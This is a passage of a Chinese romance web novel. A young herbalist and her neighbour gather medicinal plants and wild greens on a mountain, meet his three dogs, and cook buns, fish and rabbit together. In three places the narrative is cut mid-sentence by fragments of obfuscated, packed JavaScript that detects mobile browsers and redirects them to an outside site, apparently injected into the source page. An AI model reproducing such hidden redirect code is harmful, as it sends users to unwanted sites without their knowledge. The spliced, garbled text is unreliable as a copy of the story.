车前草清热利尿,治疗肝热目赤,咽喉肿痛,小便不畅很效验,谁家有火气壮的小儿,就要多采些,以备不时之需。 除了这些常见的,向园还发现不少药铺收的,如夏季采收种子的莳萝,爬满山壁的络石藤,采挖块根的麦门冬、天门冬和土茯苓。 土茯苓她家院子里也有,也是根块入药。不止入药用,平时用来炖瘦肉汤、猪骨汤和鸡汤也很好,能够利湿利尿,镇痛解毒,活血化瘀。 她小的时候,胳膊脱臼,她不喜欢喝苦药,娘亲就用土茯苓炖猪骨汤给她喝,什么佐料都不用加,就有很独特的香味,还可以强筋健骨。 除了这些之外,羊角岭上还有蓖麻子、金樱子、山栀子和秋季开花的旋覆花。 紫苏、薄荷、苍耳、艾草这些不算稀罕,但药铺也是大量收的,只是价格不会太高。 再往前走,到两角中间的位置,向园远远就看见前方缓坡伤有几株无患子,五六丈高,枝叶葱茏蓊郁,冠盖如云。 走到近处,就能发现不少梢头蓬着淡黄偏白的花穗。花穗上密密麻麻缀满小花苞,一个个圆鼓鼓,像是顶着爪牙的小精灵。 这可是好东西! 无患子寿命长,生命力顽强,极易养护,子皮皆可入药。本草上说,子皮可祛风明目,洗面祛斑。子中仁可治牙齿肿痛。① 实际上,无患子树皮、枝叶甚至根茎也能入药。 韧皮可解毒利咽,嫩叶外敷可以缓解毒虫毒蛇咬伤。② 果实就更不用说,乡野妇人都知道这是好东西,果皮剥下来轻轻一搓,就能搓出来一手细腻的泡沫,洗手洗脸,洗头洗澡,甚至洗衣洗碗都能用得上。 所以,大家都管这果实叫泡泡果,相应的,长泡泡果的树就叫泡泡果树。 向园在槐树井的时候,每年秋天,大家都会相约去找泡泡果,找够一篮半篮的,省着点,就够这一年洗漱用了。 无患子的根可以清热止咳、解毒化湿,但相较于枝叶果实的妙用,有这类效果的药材挺多的,没有谁会想着为了取根就把整棵树掀翻。 向园眼睛亮晶晶的,疾走两步,到近处去看。 原耕耘慢悠悠跟在她身后,等她兴奋劲儿过了,才道:“这几株结得不够密,树长得太高,钩镰竹竿都够不到。山里也有好几株,我去年摘了不少,用不完,分你一筐。” 向园原本笑眯眯的眼角都瞪开了,耕耘哥哥好阔气,那么难找的泡泡果他都是成筐送的。 而且,他都不等在树下捡的,直接用钩镰钩吗?真厉害啊! 她的目光过于稀奇,原耕耘沉默片刻,不明白她为什么这样看自己,“分你两筐!” 估计是一筐不够用,他不能小气。 向园:“……” 向园很想知道,如果她再这么盯着他看一会儿,是不是耕耘哥哥就要分她三筐了,但这样子好像有点过分,她收回了目光。 原耕耘颇为遗憾地垂下眼。 过了羊角岭,是三足山。山呈圆钵状,周有三尖,三尖不偏不倚,分布均匀,像是鼎倒扣着,三足朝天,所以这山又叫倒鼎山。 因三足高耸,各有小瀑布悬流,水清泉澈,四季不绝,所以也有读书人称之为三清山。 原耕耘就曾做过向导,带一行文人进山瞧过。那些人说话虽酸,出手实在大方。 这就是大山了,对于原耕耘来说,这才是山的入口,像竹坡坡、羊角岭这些人来人往的小山包,根本不能算山。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15939064|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 山路崎岖起来,向园丝毫不惧,愈加兴奋。 刚入山,她就看到许多药物,大多数现在都还不能采收,要等到夏秋冬季,草药开花结果,但这并不妨碍她高兴。 山上有药材,她就不用过于担心自己的生计,不说靠着采药过得多舒坦,至少能丰衣足食,不至于吃了上顿没下顿,过了今天没明天。 路不好走,原耕耘走得更慢,不时回头看向园。 向园心神都在药草上,反而忘了脚底的路,就是偶尔绊一下、滑一下,她也不在意,只思量着,回头赶圩要买些针线,做两双结实趁脚的鞋,上山采药的时候穿。 她不在意,原耕耘却在意。 他左右看看,没找到趁手的工具,就让向园背过身去,手伸向自己的腰带。 没忍住偷瞄的向园:“……” “耕耘哥哥……”她捂住脸,声音颤抖,眼睫也跟着颤抖。 “嗯,在这儿。”原耕耘怕她害怕,声线平稳地安抚,手上动作不停。 “你、你等等,等我走远一点……”向园差点没哭出声。耕耘哥哥是很好,但是也太不见外了,怎么连解手,都不等她走远一点。 “嗯?”原耕耘已经把腰带抽出来,随手扯了根藤条别在腰上。 “拉着,拽紧了。”他把一头递给向园。 “嗯?” 这么快?也没听见水声啊?难道男孩子撒尿没有声音的? 不对,小便不利的话,可能确实没有声音。医书上说,肾气不足者,小便多而不利,不能通行水道则成淋也。③ 耕耘哥哥看着胃口挺好,脸色也正,走路脚步可轻可重,力气还大,应该也没有这方面的毛病,可能只是湿热所致? 向园手指开了个缝,偷眼往他那边瞅。 原耕耘:“……你在想什么?” 向园:“可不可以把舌头伸出来……” “我瞧瞧”三个字,在看见原耕耘递过来的宽腰带时,不自觉咽回肚子里。 “什么?”原耕耘直直望过去。 虽是问的语气,但向园看到他的眼神,觉得他一定是听清了的。 “没什么,我刚刚看到一味药,想着帮你看看舌苔,看你能不能用到。”向园想办法找补。 “什么药?”原耕耘不打算让她看自己的舌头。以后她还想看的话,再给她看,现在不行。 向园赶紧低头找刚刚看见的那味药,是什么药来着,刚刚见到的草药太多,她忘记了,却记得大概位置,蹲下扒开灌木丛给原耕耘看。 “就是这个,这是……”看着蔓延在艾蒿之上的金线草,向园又收了声。 “是什么?”原耕耘低头看。 “是艾草。”向园强行把目光转向被金线草绞缠的野艾蒿上。 “艾草啊!”原耕耘眉头一跳,他直觉向园想说的不是这个。 “那这是什么?”他捏捏一圈圈缠绕在艾蒿之上,色黄如金、茎细如网的植物,问向园。 棉花和玉米植株上也经常有这种植物攀援缠绕,他们都当是杂草害草,恨不得一长出来就毁个干净,原来也是一味药吗? 恐怕还是功效不好言明的药。 原耕耘盯着向园,看她怎么回答。 “这是菟丝子。”向园忐忑地回答。 “也是药?” 向园不好昧着良心说不是,乖乖点头,只盼着原耕耘别再问下去。 “有什么效用,治什么病症?”原耕耘仿佛没看见她躲避的眼神,昧着良心继续问。 向园:“……” “明目安胎。”她小小声道。 “给我用?”原耕耘一双龙目大且亮,此时完全睁开,黑白分明,神采奕奕,一点也不像是需要这药的样子。 至于安胎……他就更不需要了。 “不,不给你用,你不需要。我说的是艾蒿,可以做青团,给你吃。”向园眨眨眼。 “看舌苔才能吃青团?”原耕耘站起身来,示意向园拉住腰带,要往上走了。 向园拍拍裙角沾染的土,跟紧原耕耘的步伐,“不看也能吃的。就是昨天翻了一下我爹的医书,我有点好奇,想看下人的舌苔是什么样子。” 腰带扯直了,原耕耘很有力气,被他拉着走路,不用担心踩空或者滑到,向园放松心神,声音都轻快很多。 看不见自己的,就想看我的? 原耕耘不信,如果真是这个理由,昨晚他娘肯定会让她看的。 等大后天赶圩,他去医馆问问,菟丝子到底是干什么用的,就知道她什么意思了。 10. 第 10 章 从三足山的一足,走到另一足,向园站在高处,隐约看到离小瀑布不远的山间谷地里,有一个小院子。 周围全是大树,她看不真切,只能看见一方檐角。 “那是我在山里的房子,”原耕耘一边带着向园往小院去,一边为她解惑,“从那边顺着石峡也能走,但是石峡光滑陡峭,不好走。你要是上山来,就走咱们今天走的路。要是在山中迷了方向,就对照着三足中最粗的那一根往前走,走近了往那边院子里去就行。” 他细细交代:“三足山中没有太大的野兽,但是毒虫不少,你一定要当心。偶尔会有野山羊或者獐子狍子顺着水源过来,如果遇到,也别害怕,不招惹它们,它们不会主动攻击人,看到人,它们自己就先吓跑了。 “还有,不管什么时候上山,一定跟我说一声。这山看着不比长云山大,也不比它高,但危险绝不比那边少,千万小心。” 向园明白,她以前惯在长云山采药,但长云山山半腰处有寺庙庵堂,香火鼎盛,人气足,毒虫野兽就少。 这山看着是矮一点,林子却密,草木也多,少有人迹,确实要更危险。她不能仗着有过去的经验在这里就掉以轻心。 向园郑重点头,走到半山腰处,突然闻到一股奇异的香味。 她往四周细看,果然在不远处的斜坡上发现一片山芝麻。 “耕耘哥哥,”向园喊原耕耘。 “我们去摘野菜吧。”她指着那绿油油的一片,“山芝麻叶,焯过水包包子可好吃啦。” 原耕耘没吃过,不过包子哪有难吃的。 他手腕翻转几圈,收束腰带,向园就离他很近了。 他犹不满意,将她牵着的那头在她右手手腕上绕了两圈,又打了个猪蹄扣,才斜着往坡上去。 向园比刚刚离他还近,心里也更加紧张。 这坡太滑了,她只能尽力把重心往后压,不然一个不小心,恐怕就要栽到耕耘哥哥身上去。 原耕耘发现了她后倾的动作,投去疑问的目光。 向园懂装不懂,回以疑问的眼神。 原耕耘:“……” 他上手,直接托住向园的胳膊。 女子骨骼纤细,胳膊上没有硬梆梆的肌肉,只有弹如棉花的小软肉,薄薄一层。衣料仿佛不存在似的,那绵软的感觉直接通过手掌蔓延到心里,原耕耘头皮一麻,手心立时出了一层薄汗。 他尽力平缓呼吸,把思绪往正路上带。 他不该冲动的,她这小胳膊小腿的,还不如绳子结实。恐怕稍一用力,就要折了。 他不由怀疑,昨天露台上的那些东西,真是她搬出去的? 如此柔韧的人,怎么会有这样大的力量? 但他又清醒地明白,那就是她。 可以哭着踹翻二流子,呜呜跟外婆诉苦。也可以笑着平拎两桶水,弯眉向表哥炫耀。还可以肩挑一担柴,气都不喘跑下山。 “底下有青苔,我扶你走。”原耕耘停下思绪,话语简短有力,不容拒绝。 “好啊!”向园也没打算拒绝。 耕耘哥哥手掌很厚很烫,跟樊姨的手一点都不一样。 有他托着,她一点都不怕摔下去了。 不过,都怪这鞋子拖她后腿,否则她也可以很麻利的。 不知道耕耘哥哥会不会嫌她笨。 各怀心思,难走的山路就不显得崎岖了,两人很快走到附近。 近处异香更甚,向园陶醉地闻了闻,开始上手捋,“是不是很香?这还是跟我外婆交好的一个阿婆教我认的,她包包子可好吃了,我外婆的手艺都是跟她学的,我外婆包包子也好吃…… “尤其是春天的山芝麻叶包子和香椿叶包子,夏天的茄子馅儿包子和茭瓜馅儿包子,秋天的小白菜和青萝卜包子,还有冬天,耕耘哥哥,你知道冬天吃什么吗?” 原耕耘不知道,白菜和萝卜秋天就吃了,那冬天要吃什么? “吃饺子?”馅儿就那几种,皮换了也是个新花样。 向园:“……当然是吃干菜包子和酸菜包子啊。冬天菜少,春夏秋的时候就要把冬天吃的菜备好,该晒得晒,该腌的腌,等到冬天,大家窝冬没事儿干,正好有空把平日里又馋又不舍得吃的东西捣鼓一遍。酸豆角包子,酸笋包子,干芝麻叶包子,干香椿叶包子,雪菜包子……隔一旬蒸一次,等把这些味道吃过一遍,春天也来了,又可以吃荠菜包子了。” 原耕耘:还可以这样啊? 向园还在馋他,“每年冬天,我表哥都待在乡下,舍不得进城……我们家柴火多,鸡鸭鹅多,菜也多,我外婆还舍得给我们贴膘,往往过一个冬天,我们就要胖一圈,到春天才会瘦下去。” 她不会胖,她只会长高。 表哥早两年就不长个儿了,她还在长,外婆就总是夸她。 向园有点骄傲。 她脸昂着,说这些话的时候神采奕奕,也不耽误手里的活,好像外婆还在家里等着她一般。 原耕耘看着,心中悒怏。过往的记忆越幸福越令人难以忘怀,不知道她是不是彻底放下了。 向园也想起来,难过自然是有的,只是不像事情刚发生的时候一样痛苦。 她有种盲目的乐观,生死之外无大事,只要心中有信念,总有一天,不幸离别的人,会在另一个世界重逢。 而这种盲目的乐观,正是外婆教给她的,否则,五年前她就该抑郁成疾了。 她继续说回包子。 原耕耘听了半天,只发现一点,她不爱吃韭菜包子。否则她说这样一长串,连尖椒南瓜馅儿包子都提了,愣是没提韭菜的事儿。 原耕耘幼时,大小算个少爷,他想吃什么包子就吃什么包子。老爹过世后,他跟他娘两人跟着大厨房吃饭,菜都不一定有得吃,更别说包子了。 直到分了家,他们迁回蒲家塘,娘儿俩自己开火做饭,才算吃上正常的饭菜。 虽清苦,日子也还过得去。 原耕耘一直不觉得自己娘做饭有什么问题,直到他吃上向园做的葱花饼,才明白,世上还有厨艺这回事。 而有的人,就是有这个天赋,比如眼前这位能把包子说出花儿来的小娘子。 也有的人,后天努力也弥补不了这个天赋。比如他去冬嫁人的娘,搬出来五年,给他做过的最好吃的东西就是韭菜馅儿包子。 再比如他,娘出嫁后,他一个人糊涂度日,觉得自己瘦了一圈。 由此可猜想,敬叔的手艺是不错的,毕竟娘这次回来,肉眼可见的胖了一圈。 原耕耘开始期待向园口中香喷喷的山芝麻叶包子。 山芝麻叶成片,都是刚出的嫩叶,很好捋,基本上一遍过去,这一枝就光秃秃了。便是少有几片漏网之鱼,他们也不会管,实在是忙,没工夫揪这一片两片的了。 等两人把背筐装满,也才捋了三棵树。 看着另外几棵,向园眼神不舍,决定过几天再来一次。不过过几天再来捋,可就没今天捋的这么鲜嫩了。 原耕耘看出来,“先去小院里歇脚,等会儿我再上来一趟。” 这会儿天色还早,他再上来一趟,弄好了两人再下山去,差不多能赶在太阳落山之前到家。 向园也觉得好,两人背着背篓往山下去。 上过手,原耕耘就不用腰带牵她了。 他也没让向园背过身,直接就把藤条抽掉,重新系上腰带。 反正就是转过去,她也要偷看的,不如光明正大给她看。 原耕耘慢条斯理把揉皱的腰带抻平整,紧紧勒在腰上,勾勒出劲瘦的腰身。 向园果然目不转睛地看着,又拿他窄长的腰跟表哥的小圆肚子作比较。 表哥过了冬,平整的肚子鼓了一点,他闹嚷着要瘦身,出门跑生意去了,也不知道现在瘦了没有。 察觉原耕耘看过来,向园不动声色移开目光。 原耕耘:“想看就看,又不收你钱。” 向园摇头,“我不是想看,我就是好奇。” “好奇什么?”原耕耘也很好奇。 向园瞅瞅他,欲言又止,“你这么瘦怎么还会长力气。” 终于说出口,她松了一口气。 她觉得人不能搬动超出自己体重之外的物件,她力气在女子之中算是大的,但是也脱不开这个道理。但耕耘哥哥就可以,这是为什么呢? 原耕耘:“……” “你那天搬的桌子,你小时候就能搬动吗?” “不能。”向园摇头。 “那你八岁的时候能搬动了吧?” “对。”向园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15958468|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头。 “你昨天搬桌子的时候觉得轻松吗?” “不轻松,但也不累。” “肯定比你八岁的时候搬轻松吧。” 那当然!向园点头。 “这不就是长力气!” 向园:“……” 好吧,原来樊姨是这个意思。 走到平坦些的地方,原耕耘放开向园的胳膊。 这里离小院很近了,能明显看出人踩踏出来的路。 “汪汪~呜~”一只大黑狗从院子里窜出来。 “这儿还有一只?”向园惊诧。 大黑狗身后,又跟出来一只大黄狗。 “这和二黄是一窝生的?” 一窝生的也不至于长得这么像啊,连脑门上的花纹都一模一样。 原耕耘:“这是二黄。” 向园:“……” “它们自己就认路,也会自己在山里找食吃,调皮的时候才会跟我下山,不过在山下待不住,昨天夜里就又跑上来了。” “这样啊!”怪不得晌午的时候,她问狗,原耕耘说不用喂。 “这是大黑!”原耕耘给向园介绍,“还有个三白,不着家,可能又跑深山里去了。” 他话音一落,房屋外墙角处,就又窜出来一只白狗。 也不是完全的白,黑白相间的花狗,但想想依耕耘哥哥的性子,肯定不会给自家狗起个“三花”的名字。 不过这确实是三只狗子里最俊的一只。说最俊也不恰当,反正是最符合向园审美的一只。 大黑威风凛凛,眼神也很有攻击性。虽然看向园的时候,它把爪牙收了起来,但向园觉得,还不如不收。 不收的时候,大黑看着很威武、很严肃,跟个大将军似的。 收起来,大黑的眼神就变得高傲,就变得目中无人。好像它是人,向园是狗似的,还是那种脏兮兮、可怜巴巴、连饭都吃不饱还要被同伴欺负的傻狗。 向园转过眼,不看这只高傲的大狗。 二黄就可爱多了,或许是已经认识,它蹭着向园小腿来回转圈,圆圆的脑袋仰起来,水润润的大眼睛清澈明亮,看着就憨,又憨又萌。 向园敢摸它的脑袋。 她不招惹大黑,大黑就把目中无人的眼神投向二黄,眼里满是看不中用的狗腿子的嫌弃与无奈。 二黄根本不搭理它,扭过头把屁股对着它,继续围着向园转圈。 三白不掺和它俩之间的斗争,但它要争宠,它扭扭屁股,把二黄挤到一边,开始围着向园跑圈。 圈越跑越大,还要摇尾巴,遇上傻狗挡路,还要窜起来,从人头上跃过去。 这是在展示自己矫健的身姿?向园从心底发出疑惑。 原耕耘在一边看着,觉得自家这仨狗还挺有眼色的。 他帮向园卸下背篓,拿了个盆,打水让她洗漱。 这里好像只有一个盆。 向园犹豫,不好意思下手。 “我再上去一趟,回来再洗。那是堂屋,那边是灶房,你歇一下,自己烧水喝。” 原耕耘说着,出门去了。 大黑和二黄跟上去,三白冲向园汪汪叫了几声,也跟了上去。二黄回头瞧见,觉出自己失策,隔老远也汪汪起来。 三白以为兄弟叫自己,忙不迭跑过去,它都到跟前了,二黄还在叫唤。 直到向园摆了摆手,它才收了声,跟紧老大的步伐。 三白:“……” 论真诚,我还是输了。 大黑瞧不上它俩那狗模样,一路昂头狂奔,甩开这俩傻蛋。 向园确实渴了,她觉得原耕耘肯定也渴,就没客气,直接去了灶房。 灶房挺简单。 一个土灶,前后两个灶洞,架着一大一小两口锅。 灶旁一只大水缸,边上是木桶。原耕耘就是用这个桶打的水。 没有案板,只有一个齐腰高,两人合抱粗的粗树桩,上边有刀痕,想来这就是案板了。 靠墙还有一个竹架子,底下两层摆着陶缸、瓦盆,上边几层是各种零碎物件,向园没有细看。 这些东西,拢共占了不到半间屋子,剩下半间,堆得满满的都是柴火。 向园大致有了数,拎起炉子上的陶壶,灌水烧火。 11. 第 11 章 原耕耘回来得比向园想的还快,她烧好水,倒碗里晾到半温,他就回来了。 “耕耘哥哥,你渴了没?快来喝水!” 向园端着水迎上来,美丽嫣然的面孔上满含笑意,好似等了他很久很久…… 原耕耘有种不真实感,眼前的一切仿佛是他的幻想,可把她留下的心又是那样真切。 久远的记忆腾空而来,时光仿佛在这一刻折叠,多年前的影子和此刻重合…… 她扮演孩子的母亲,给出门劳作晚归的他端了一碗茶,那茶杯是用泥巴捏的,根本装不了水…… 把她困在这儿吧,两个人,一生一世就这样过下去。 一滴汗从他额头淌下,汗珠滚圆,浓密的睫毛也挡不住攻势,直直滑进眼睛里。 原耕耘眼睛一片酸涩,汗珠仿佛只是在他眼睛里过了一道,就又滚出来,滑下脸庞。 “耕耘哥哥,你怎么样,眼睛还睁不睁得开?”向园看见,慌忙卷起衣袖帮他擦拭。 怕他看不清路,她托着他的胳膊肘往水盆边带,“快来洗把脸,水我换过了。” 原耕耘身体僵直,抬起衣袖胡乱抹了把脸,又捧起水冲了两道。山溪冰凉,眼睛恢复清明,可身体的异样冲得走,心底的异样却无法消解。 “向园,”原耕耘躬着腰背,手撑在盆里,嘴里喊着她的名字,却不敢抬眼看她。 “嗯?”向园蹲在一边,还捧着茶碗。 “三白没回来,你在门口帮我望望?别走远,就在大门口,你喊它,它会应声的。” “好,水你记得喝,壶里还有。” 他看清了,向园就不再担心,放下茶碗,去门口张望花狗的身影。 “三白!三白!” 清甜软糯的声音传进院子,明明隔得不远,却像是梦中山谷传来的遥远的回声。 原耕耘跋山涉水,草行露宿,追寻千里,每当他走近一点,那声音就又远了。 他捕捉不到,便化身野蛮的虎狼,混沌的云雨,赶路,追逐,就此有了夸父逐日,精卫填海的用心。 当虎狼扑倒猎物,云雨撒遍四野,她的身影渐渐显现,是轻拂他面庞的叶子,是紧紧缠绕他的风,是灼热的日光,是冰冷的月华。 他天真地祈祷,谦卑地仰望,不眠不倦,永不停歇。 他重新为人,她为他坠入凡尘…… “咕噜咕噜~” 水面涌出气泡,原耕耘抬起头来,头发湿了,眼睛也湿了。 “三花、三白,你跑哪去啦?” “这是什么?” “你竟然能追上兔子,真厉害啊!” “看见大黑了吗?它还没回来。” “汪汪!”三白没看见。 “呜汪呜!”二黄也没看见。 “呜呜!”大黑自己出现。它拐过墙角,嘴里叼着黑乎乎一团,那东西吱吱叫着,在它嘴里活蹦乱跳。 “哼嗯……”向园倒吸一口凉气,拔腿往院子里跑。 怎么是竹鼠啊,她要哭了。 “耕、耕耘哥哥,它、它,大,大老、老……”她窜到台阶上,藏到他背后,害怕到连那个字都不敢说。 她更想挂到树上去,可不知道那东西会不会爬树。挂到耕耘哥哥身上也行,可不知道他会不会给她挂。 呜呜,向园真情实意地掉眼泪。 “大黑,出去!”原耕耘的话沉重有力,话音落下,吱吱声逐渐远去。 背后绵软的两团,让刚冷静下去的原耕耘又支棱起来,他声音艰涩,极力忍耐,“你,要不要进屋去歇歇?” 向园不要,谁知道屋里有没有,她还是呆在能看见他的地方好了。 她眼神四处乱晃,生怕哪里窜出来一个可怕东西的样子过于明显,原耕耘不由失笑。 他低声宽慰她,“别担心,这院子附近我撒过药,不会有蛇虫鼠蚁的。” 向园点头,视线里的防备去了不少。 原耕耘弯下腰去,洗了好一会儿脸,问道:“这东西要怎么处理?” 山芝麻叶摘太多了,两人头一回带回来两背筐,第二回他又带回来一背筐,两麻袋。全部倒出来,像一座小山包,一趟肯定带不下去。 “我们就在这儿过一遍水好了,过一遍水晒上,就可以放起来。”说回正事,向园不打嗝了,也不结巴了。 鲜的山芝麻叶包包子也要过水,在这儿过了水,拧成一团一团的,他们也好带下山。 原耕耘觉得好,拎着桶就去提水,向园想跟着,原耕耘劝她,“好好歇着,让三白守着你,它爱干净,从来不会乱捉乱咬,打水就在那边,你喊一句我就能听见。” 好吧,向园眼巴巴看着他。 原耕耘别过头,再看她一眼,他肯定就说不出硬话了。 待会儿还要从石峡下山,她这一晌就没少走路,下山的路不好走,可别累得半路没劲儿了。 原耕耘打水,向园烧火,锅足够大,水沸腾起来的时候,一半的山芝麻叶已经清洗过一遍。 向园搂着竹筐往锅里倒,原耕耘去山泉边洗剩下那一半。 山芝麻叶片嫩,滚水里焯烫少时即可,一刻钟就能烫五六锅,这边出锅,马上浸入冷水里过一遍,捞出来挤干水分就成。所以,这么多山芝麻叶,两人配合着,也不过半个时辰就全部弄好了。 焯过水,挤压干,叶片就团在一起,原本要装三个背筐两个麻袋的山芝麻叶,现在只用两个背筐就能全部装下。 两人也没装完,在山上晒一半,只背了一筐走。 原耕耘背着背筐,还找了个轻便但结实的棍子,用这个牵着向园走。二黄和三白跟着他们,大黑犯错,被原耕耘勒令在山上看家。 棍子很长,向园尽量往前握,离原耕耘很近,快要挨着他的背筐。 原耕耘怕背筐上的毛刺划伤她脸,换了个方向,让她跟自己并排走。 向园觉得这样很安全,完全配合。 今天看见这样的东西,她最近都不想往山上来了。 到家时,日头还未落下。 向园回家,包包子还要发面,得要一会儿工夫。 原耕耘回家喂鸡,派三白护送向园,二黄瞧瞧他,也扭着屁股,一颠一颠跟上去。 到了熟悉的地方,向园总算放下心。昨天她就在房屋院落各处熏了青艾草,艾草气味浓重,青艾尤甚,现在都化成灰烬了,那独特而浓烈的清苦香气仿佛还在鼻尖盘旋。 这样的地方,小动物们不爱光顾。 发好面,要切菜的时候,向园犯了难。这样多的山芝麻叶,她一点也不想蹲在地上剁完。 她端着盆子,往堂屋里去。先在八仙桌上凑活下吧。 显然原耕耘也想到这个问题,他过来的时候,拿了个木桩子,可以放在桌上的木桩子。 “先凑活着用,后天我找陈木匠问问,看他那里有没有合用的砧板。” “这个就很好。”向园欢快地接过,还挺沉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15964745|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “洗过了。”原耕耘递过来一条腊肉,“需要做什么?我来弄。” 他又放下一只兔子、一条鱼,“这是三白和二黄给你的见面礼。” 兔子就是三白咬的那只兔子。 鱼是从她家水塘捞的。他以往捉到了,吃不完,就放进一个大鱼篓里,把鱼篓系到水塘的一个角落,这样鱼不会死,随时吃都是新鲜的。 老二有些笨拙,最先跑出去,结果什么也没弄到,被老三抢了先,他只有先拿这个替老二找补了。 原来是礼物啊?那大黑嘴里叼的…… 向园不敢想下去,谢过它俩,并承诺,“今晚给你们炖汤喝。” 原耕耘不知道她这个“你们”包不包含自己,包含的话,没什么值得骄傲的。不包含的话,嗯,挺值得伤心的。 “再做个炒兔肉,给耕耘哥哥吃,谢谢他把你们介绍给我认识。”向园摸摸两个狗头。 “留一点,你明天上山,顺便带给大黑?”这是和原耕耘商量的。 自然可以,原耕耘点头。 看来她变厉害了,虽然被大黑吓到,但是没有不理它。 大黑果然比自己幸运。原耕耘思量着,拎起菜刀切菜剁馅儿。 焯过水的山芝麻叶吸油,以往向园做的时候,都是化一碗猪油泼进去,就算是荤腥了。 原耕耘带来的一刀腊肉不小,刮掉表皮的黑灰,再用滚水煮一遍,就露出肥瘦相间的本来面目,油滋滋的,看着就香。 向园把腊肉切成碎丁,放在锅里煎油,这腊肉很能出油,向园觉得不用再加猪油,就足以把山芝麻叶拌开了。 那边原耕耘也已经把山芝麻叶切好。他厨艺不行,刀工还是不错的,切得细碎均匀。往热油锅里一倒,浓郁的香味四散开来。 原耕耘有些不敢相信,所有的步骤他都看着的,也没见她有什么特别的操作啊,为什么刚入锅就这么香。 他按捺住疑问,开始揉面。 一小盆面,一大盆馅儿,向园包了六十个拳头大小的包子。 可着锅放两层,也只放下五十二个,还有八个,不值当再蒸一锅,向园干脆就捏成馅儿饼,煎着吃或者炕着吃。 煎的话用油多,炕的话用油少。反正还要炖鱼,向园干脆就煎了,煎完馅儿饼煎鱼,煎好鱼,再炒兔子。 前头煎饼除了油外不加别的佐料,不需要洗锅,也不会浪费。 鱼煎好了直接转到瓦罐里炖,兔子直接在后锅炒到熟,等前头大锅里的包子蒸熟,鱼和兔子差不多也熟了。 向园煎鱼、炖鱼的时候,原耕耘就没疑问了。 他看向园把鱼腹的黑膜刮干净,又从脊背侧鳞处抽了一根线出来,就明白为什么自己煮的鱼难吃了。 他以前都没处理干净。 原耕耘往灶洞里添了几把硬柴,站到旁边,认真学习。 向园把煎好的馅儿饼给他,“你尝尝!” 原耕耘接过,没有吃,要等她一起。 向园开始煎鱼,她往锅里添了点油,等油冒青烟了又往里撒一撮盐,然后放鱼。 鱼很快就变得焦黄,鱼皮也没有粘连到锅底,鱼都捞出来了,看着还干干净净,除了油变得金黄外,锅底没有一点渣滓。原耕耘不由发愣。 “快让让!”向园赶他到一边去,她夹着鱼要往瓦罐里放,里头水都滚开好几滚了。 原耕耘赶忙让开,回到锅洞前头烧火。 做饭这个事儿,果然需要天赋。 12. 第 12 章 兔肉焖煮的工夫,向园终于有空闲尝尝自己做的饼。 今天被二黄三花感动到了,她先掰了一个饼,喂给它们。 看它俩吃得很香,向园这才切开一个,分一半给原耕耘。 她咬一口,可能太久没吃过,这次吃觉得更好吃了。 “要是樊姨在就好了,让她也尝尝。还有表哥,他肯定也喜欢。”向园咬着饼,含糊不清地惋惜。 “娘回来了,咱们再做。表哥来了,咱们也做。多做一次,多吃一次。” 分食的半个馅儿饼,比整一个馅儿饼好吃。 原耕耘咬下一口,还没品出味道,心里就升起一股奇异的感动和遗憾。 他好像,的确错过了很多。 五年离散的光阴,他完全错过。 五年窥探的岁月,他远远旁观。 明明已经看过那么多,问过那么多,了解那么多,可根本不够。 如果重新来过,或许他会在父亲过世那一年就回到这里。尽管可能很艰难,但比起错过的,可能面临的困境也就不值一提了。 向园吃了半个馅儿饼,停下手,“等会儿咱们再尝尝包子,哪个好吃咱们就吃哪个,吃到饱。” 她乐呵呵的。馅饼有馅饼的滋味儿,包子有包子的滋味儿。吃到嘴里,才能知道自己最想吃什么。 原耕耘也想知道,馅儿饼很好吃,他对包子的期待更大。 包子出锅前,鱼汤就滚成了,奶白的颜色,一掀盖,浓郁鲜香的滋味扑鼻而来。 向园往里头加一把小葱花,先盛两盆出来晾在一边,这是给二黄和三白留的。大黑喝不到,以后有机会再给它炖。 兔子是几个月的嫩兔子,很好炒,向园尝了一块,肉汁在嘴巴里迸开,不是很好咬,但恰好是她最喜欢的口感。 她夹了两块到碗里,让原耕耘尝,“你喜欢吃老一点的还是嫩一点的?” 原耕耘不挑,毕竟他以前都不管肉老还是肉嫩的,一锅炖,熟了就能吃。他觉得现在这样就足够美味了。 向园笑眯眯铲出三分之一,这是给大黑留的。又铲出三分之一,是二黄和三白的。最后三分之一,是她和原耕耘的。 原耕耘端着去投喂二黄和三白的工夫,向园掀了大锅盖。 包子是一种奇特的食物,明明馅料被面包裹着,可熟了的时候总能闻见香味。 粘稠的,浓郁的,顺着蒸汽升腾,却又在中途被空气包裹着,往人鼻子里钻的香味。 麦香夹杂着菜香、荤香,几种相互掺杂却又不彼此压制,闻久了,还感觉它们在相互抬举似的,你成就我,我成全你。 